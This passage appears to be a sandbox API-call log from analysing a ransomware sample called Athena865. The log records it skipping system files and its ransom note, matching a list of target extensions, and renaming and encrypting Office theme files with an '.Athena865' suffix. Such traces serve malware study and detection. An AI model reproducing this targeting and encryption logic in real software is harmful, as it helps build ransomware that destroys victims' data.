ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1 [0136.091] lstrcmpiW (lpString1="Apothecary.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.091] lstrcmpiW (lpString1="Apothecary.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.091] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".") returned 1 [0136.091] lstrcmpiW (lpString1="Apothecary.xml", lpString2="..") returned 1 [0136.091] lstrcmpiW (lpString1="Apothecary.xml", lpString2="windows") returned -1 [0136.091] lstrcmpiW (lpString1="Apothecary.xml", lpString2="bootmgr") returned -1 [0136.091] lstrcmpiW (lpString1="Apothecary.xml", lpString2="temp") returned -1 [0136.091] lstrcmpiW (lpString1="Apothecary.xml", lpString2="pagefile.sys") returned -1 [0136.091] lstrcmpiW (lpString1="Apothecary.xml", lpString2="boot") returned -1 [0136.091] lstrcmpiW (lpString1="Apothecary.xml", lpString2="ids.txt") returned -1 [0136.091] lstrcmpiW (lpString1="Apothecary.xml", lpString2="ntuser.dat") returned -1 [0136.091] lstrcmpiW (lpString1="Apothecary.xml", lpString2="perflogs") returned -1 [0136.092] lstrcmpiW (lpString1="Apothecary.xml", lpString2="MSBuild") returned -1 [0136.092] lstrlenW (lpString="Apothecary.xml") returned 14 [0136.092] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Apothecary.xml" | out: lpString1="Apothecary.xml") returned="Apothecary.xml" [0136.092] lstrlenW (lpString="Apothecary.xml") returned 14 [0136.092] lstrlenW (lpString="Athena865") returned 9 [0136.092] lstrcmpiW (lpString1="ecary.xml", lpString2="Athena865") returned 1 [0136.092] lstrlenW (lpString=".dll") returned 4 [0136.092] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".dll") returned 1 [0136.092] lstrlenW (lpString=".lnk") returned 4 [0136.092] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".lnk") returned 1 [0136.092] lstrlenW (lpString=".ini") returned 4 [0136.092] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".ini") returned 1 [0136.092] lstrlenW (lpString=".sys") returned 4 [0136.092] lstrcmpiW (lpString1="Apothecary.xml", lpString2=".sys") returned 1 [0136.092] lstrlenW (lpString="Apothecary.xml") returned 14 [0136.092] lstrlenW (lpString="bak") returned 3 [0136.092] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.092] lstrlenW (lpString="ba_") returned 3 [0136.092] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.092] lstrlenW (lpString="dbb") returned 3 [0136.092] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.092] lstrlenW (lpString="vmdk") returned 4 [0136.092] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.092] lstrlenW (lpString="rar") returned 3 [0136.092] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.092] lstrlenW (lpString="zip") returned 3 [0136.093] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.093] lstrlenW (lpString="tgz") returned 3 [0136.093] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.093] lstrlenW (lpString="vbox") returned 4 [0136.093] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.093] lstrlenW (lpString="vdi") returned 3 [0136.093] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.093] lstrlenW (lpString="vhd") returned 3 [0136.093] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.093] lstrlenW (lpString="vhdx") returned 4 [0136.093] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.093] lstrlenW (lpString="avhd") returned 4 [0136.093] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.093] lstrlenW (lpString="db") returned 2 [0136.093] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.093] lstrlenW (lpString="db2") returned 3 [0136.093] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.093] lstrlenW (lpString="db3") returned 3 [0136.093] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.093] lstrlenW (lpString="dbf") returned 3 [0136.093] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.093] lstrlenW (lpString="mdf") returned 3 [0136.093] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.093] lstrlenW (lpString="mdb") returned 3 [0136.093] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.093] lstrlenW (lpString="sql") returned 3 [0136.093] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.094] lstrlenW (lpString="sqlite") returned 6 [0136.094] lstrcmpiW (lpString1="ry.xml", lpString2="sqlite") returned -1 [0136.094] lstrlenW (lpString="sqlite3") returned 7 [0136.094] lstrcmpiW (lpString1="ary.xml", lpString2="sqlite3") returned -1 [0136.094] lstrlenW (lpString="sqlitedb") returned 8 [0136.094] lstrcmpiW (lpString1="cary.xml", lpString2="sqlitedb") returned -1 [0136.094] lstrlenW (lpString="xml") returned 3 [0136.094] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.094] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.Athena865") returned 90 [0136.094] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml.athena865"), dwFlags=0x1) returned 1 [0136.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.096] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=965) returned 1 [0136.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.097] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.098] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.098] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.098] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.109] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.114] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.116] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.116] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.117] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.117] CloseHandle (hObject=0x17c) returned 1 [0136.117] CloseHandle (hObject=0x154) returned 1 [0136.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.117] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9c9400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9c9400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0136.117] lstrcmpiW (lpString1="Aspect.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.117] lstrcmpiW (lpString1="Aspect.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.117] lstrcmpiW (lpString1="Aspect.xml", lpString2=".") returned 1 [0136.117] lstrcmpiW (lpString1="Aspect.xml", lpString2="..") returned 1 [0136.117] lstrcmpiW (lpString1="Aspect.xml", lpString2="windows") returned -1 [0136.117] lstrcmpiW (lpString1="Aspect.xml", lpString2="bootmgr") returned -1 [0136.118] lstrcmpiW (lpString1="Aspect.xml", lpString2="temp") returned -1 [0136.118] lstrcmpiW (lpString1="Aspect.xml", lpString2="pagefile.sys") returned -1 [0136.118] lstrcmpiW (lpString1="Aspect.xml", lpString2="boot") returned -1 [0136.118] lstrcmpiW (lpString1="Aspect.xml", lpString2="ids.txt") returned -1 [0136.118] lstrcmpiW (lpString1="Aspect.xml", lpString2="ntuser.dat") returned -1 [0136.118] lstrcmpiW (lpString1="Aspect.xml", lpString2="perflogs") returned -1 [0136.118] lstrcmpiW (lpString1="Aspect.xml", lpString2="MSBuild") returned -1 [0136.118] lstrlenW (lpString="Aspect.xml") returned 10 [0136.118] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Aspect.xml" | out: lpString1="Aspect.xml") returned="Aspect.xml" [0136.118] lstrlenW (lpString="Aspect.xml") returned 10 [0136.118] lstrlenW (lpString="Athena865") returned 9 [0136.118] lstrcmpiW (lpString1="spect.xml", lpString2="Athena865") returned 1 [0136.118] lstrlenW (lpString=".dll") returned 4 [0136.118] lstrcmpiW (lpString1="Aspect.xml", lpString2=".dll") returned 1 [0136.118] lstrlenW (lpString=".lnk") returned 4 [0136.118] lstrcmpiW (lpString1="Aspect.xml", lpString2=".lnk") returned 1 [0136.118] lstrlenW (lpString=".ini") returned 4 [0136.118] lstrcmpiW (lpString1="Aspect.xml", lpString2=".ini") returned 1 [0136.118] lstrlenW (lpString=".sys") returned 4 [0136.118] lstrcmpiW (lpString1="Aspect.xml", lpString2=".sys") returned 1 [0136.118] lstrlenW (lpString="Aspect.xml") returned 10 [0136.118] lstrlenW (lpString="bak") returned 3 [0136.118] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.118] lstrlenW (lpString="ba_") returned 3 [0136.118] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.119] lstrlenW (lpString="dbb") returned 3 [0136.119] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.119] lstrlenW (lpString="vmdk") returned 4 [0136.119] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.119] lstrlenW (lpString="rar") returned 3 [0136.119] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.119] lstrlenW (lpString="zip") returned 3 [0136.119] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.119] lstrlenW (lpString="tgz") returned 3 [0136.119] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.119] lstrlenW (lpString="vbox") returned 4 [0136.119] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.119] lstrlenW (lpString="vdi") returned 3 [0136.119] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.119] lstrlenW (lpString="vhd") returned 3 [0136.119] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.119] lstrlenW (lpString="vhdx") returned 4 [0136.119] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.119] lstrlenW (lpString="avhd") returned 4 [0136.119] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.119] lstrlenW (lpString="db") returned 2 [0136.119] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.119] lstrlenW (lpString="db2") returned 3 [0136.119] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.119] lstrlenW (lpString="db3") returned 3 [0136.120] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.120] lstrlenW (lpString="dbf") returned 3 [0136.120] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.120] lstrlenW (lpString="mdf") returned 3 [0136.120] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.120] lstrlenW (lpString="mdb") returned 3 [0136.120] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.120] lstrlenW (lpString="sql") returned 3 [0136.120] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.120] lstrlenW (lpString="sqlite") returned 6 [0136.120] lstrcmpiW (lpString1="ct.xml", lpString2="sqlite") returned -1 [0136.120] lstrlenW (lpString="sqlite3") returned 7 [0136.120] lstrcmpiW (lpString1="ect.xml", lpString2="sqlite3") returned -1 [0136.120] lstrlenW (lpString="sqlitedb") returned 8 [0136.120] lstrcmpiW (lpString1="pect.xml", lpString2="sqlitedb") returned -1 [0136.120] lstrlenW (lpString="xml") returned 3 [0136.120] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.120] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.Athena865") returned 86 [0136.120] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml.athena865"), dwFlags=0x1) returned 1 [0136.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.122] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=961) returned 1 [0136.123] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.123] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.123] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.124] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.126] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.126] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.127] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.127] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.128] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.128] CloseHandle (hObject=0x17c) returned 1 [0136.128] CloseHandle (hObject=0x154) returned 1 [0136.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.129] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0136.129] lstrcmpiW (lpString1="Austin.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.129] lstrcmpiW (lpString1="Austin.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.129] lstrcmpiW (lpString1="Austin.xml", lpString2=".") returned 1 [0136.129] lstrcmpiW (lpString1="Austin.xml", lpString2="..") returned 1 [0136.129] lstrcmpiW (lpString1="Austin.xml", lpString2="windows") returned -1 [0136.129] lstrcmpiW (lpString1="Austin.xml", lpString2="bootmgr") returned -1 [0136.129] lstrcmpiW (lpString1="Austin.xml", lpString2="temp") returned -1 [0136.129] lstrcmpiW (lpString1="Austin.xml", lpString2="pagefile.sys") returned -1 [0136.129] lstrcmpiW (lpString1="Austin.xml", lpString2="boot") returned -1 [0136.129] lstrcmpiW (lpString1="Austin.xml", lpString2="ids.txt") returned -1 [0136.129] lstrcmpiW (lpString1="Austin.xml", lpString2="ntuser.dat") returned -1 [0136.129] lstrcmpiW (lpString1="Austin.xml", lpString2="perflogs") returned -1 [0136.129] lstrcmpiW (lpString1="Austin.xml", lpString2="MSBuild") returned -1 [0136.129] lstrlenW (lpString="Austin.xml") returned 10 [0136.129] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Austin.xml" | out: lpString1="Austin.xml") returned="Austin.xml" [0136.129] lstrlenW (lpString="Austin.xml") returned 10 [0136.129] lstrlenW (lpString="Athena865") returned 9 [0136.129] lstrcmpiW (lpString1="ustin.xml", lpString2="Athena865") returned 1 [0136.129] lstrlenW (lpString=".dll") returned 4 [0136.129] lstrcmpiW (lpString1="Austin.xml", lpString2=".dll") returned 1 [0136.129] lstrlenW (lpString=".lnk") returned 4 [0136.129] lstrcmpiW (lpString1="Austin.xml", lpString2=".lnk") returned 1 [0136.129] lstrlenW (lpString=".ini") returned 4 [0136.130] lstrcmpiW (lpString1="Austin.xml", lpString2=".ini") returned 1 [0136.130] lstrlenW (lpString=".sys") returned 4 [0136.130] lstrcmpiW (lpString1="Austin.xml", lpString2=".sys") returned 1 [0136.130] lstrlenW (lpString="Austin.xml") returned 10 [0136.130] lstrlenW (lpString="bak") returned 3 [0136.130] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.130] lstrlenW (lpString="ba_") returned 3 [0136.130] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.130] lstrlenW (lpString="dbb") returned 3 [0136.130] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.130] lstrlenW (lpString="vmdk") returned 4 [0136.130] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.130] lstrlenW (lpString="rar") returned 3 [0136.130] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.130] lstrlenW (lpString="zip") returned 3 [0136.130] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.130] lstrlenW (lpString="tgz") returned 3 [0136.130] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.130] lstrlenW (lpString="vbox") returned 4 [0136.130] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.130] lstrlenW (lpString="vdi") returned 3 [0136.130] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.130] lstrlenW (lpString="vhd") returned 3 [0136.130] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.130] lstrlenW (lpString="vhdx") returned 4 [0136.130] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.131] lstrlenW (lpString="avhd") returned 4 [0136.131] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.131] lstrlenW (lpString="db") returned 2 [0136.131] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.131] lstrlenW (lpString="db2") returned 3 [0136.131] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.131] lstrlenW (lpString="db3") returned 3 [0136.131] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.131] lstrlenW (lpString="dbf") returned 3 [0136.131] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.131] lstrlenW (lpString="mdf") returned 3 [0136.131] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.131] lstrlenW (lpString="mdb") returned 3 [0136.131] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.131] lstrlenW (lpString="sql") returned 3 [0136.131] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.131] lstrlenW (lpString="sqlite") returned 6 [0136.131] lstrcmpiW (lpString1="in.xml", lpString2="sqlite") returned -1 [0136.131] lstrlenW (lpString="sqlite3") returned 7 [0136.131] lstrcmpiW (lpString1="tin.xml", lpString2="sqlite3") returned 1 [0136.131] lstrlenW (lpString="sqlitedb") returned 8 [0136.131] lstrcmpiW (lpString1="stin.xml", lpString2="sqlitedb") returned 1 [0136.131] lstrlenW (lpString="xml") returned 3 [0136.131] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.131] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.Athena865") returned 86 [0136.131] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml.athena865"), dwFlags=0x1) returned 1 [0136.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.133] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=961) returned 1 [0136.133] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.134] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.134] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.134] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.143] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.145] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.151] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.151] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.157] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.158] CloseHandle (hObject=0x17c) returned 1 [0136.158] CloseHandle (hObject=0x154) returned 1 [0136.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.159] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1 [0136.160] lstrcmpiW (lpString1="Black Tie.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.160] lstrcmpiW (lpString1="Black Tie.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.160] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".") returned 1 [0136.160] lstrcmpiW (lpString1="Black Tie.xml", lpString2="..") returned 1 [0136.160] lstrcmpiW (lpString1="Black Tie.xml", lpString2="windows") returned -1 [0136.160] lstrcmpiW (lpString1="Black Tie.xml", lpString2="bootmgr") returned -1 [0136.160] lstrcmpiW (lpString1="Black Tie.xml", lpString2="temp") returned -1 [0136.160] lstrcmpiW (lpString1="Black Tie.xml", lpString2="pagefile.sys") returned -1 [0136.160] lstrcmpiW (lpString1="Black Tie.xml", lpString2="boot") returned -1 [0136.160] lstrcmpiW (lpString1="Black Tie.xml", lpString2="ids.txt") returned -1 [0136.160] lstrcmpiW (lpString1="Black 